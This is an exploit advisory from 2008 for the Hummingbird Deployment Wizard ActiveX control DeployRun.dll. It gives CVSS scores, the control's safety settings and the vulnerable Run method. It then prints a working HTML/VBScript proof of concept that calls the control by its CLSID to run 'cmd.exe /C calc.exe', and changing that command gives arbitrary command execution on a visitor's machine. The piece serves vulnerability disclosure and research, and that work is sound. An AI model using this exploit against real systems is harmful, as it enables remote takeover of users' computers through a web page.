Hummingbird Deployment Wizard 2008 ActiveX Command Execution

2008.10.25
Credit: shinnai
Risk: High
Local: No
Remote: Yes


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

------------------------------------------------------------------------------ Hummingbird Deployment Wizard 2008 (DeployRun.dll) Arbitrary File Execution url: http://www.hummingbird.com Author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.net This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Info: DeployRun.dll <= 10.0.0.44 Marked as: RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller,data IPersist Safe: Safe for untrusted: caller,data Vulnerable method: Sub Run (ByVal Path As String , ByVal CommandLine As String) Tested on Windows XP Professional SP3 full patched, with Internet Explorer 7 There are a lot of dangerous methods, just take a look and... good searching ------------------------------------------------------------------------------ <object classid='clsid:7F9B30F1-5129-4F5C-A76C-CE264A6C7D10' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe test.Run "cmd.exe", "/C calc.exe" End Sub </script>

References:

http://www.shinnai.net/xplits/TXT_L0z0Mimixdsko8kI6VFW.html
http://www.shinnai.net/xplits/TXT_JqLchaIAfq4kSH0NsvJO.html
http://www.shinnai.net/xplits/TXT_2XfQ1sHruhjaoePszNTG.html
http://www.frsirt.com/english/advisories/2008/2857
http://secunia.com/advisories/32337


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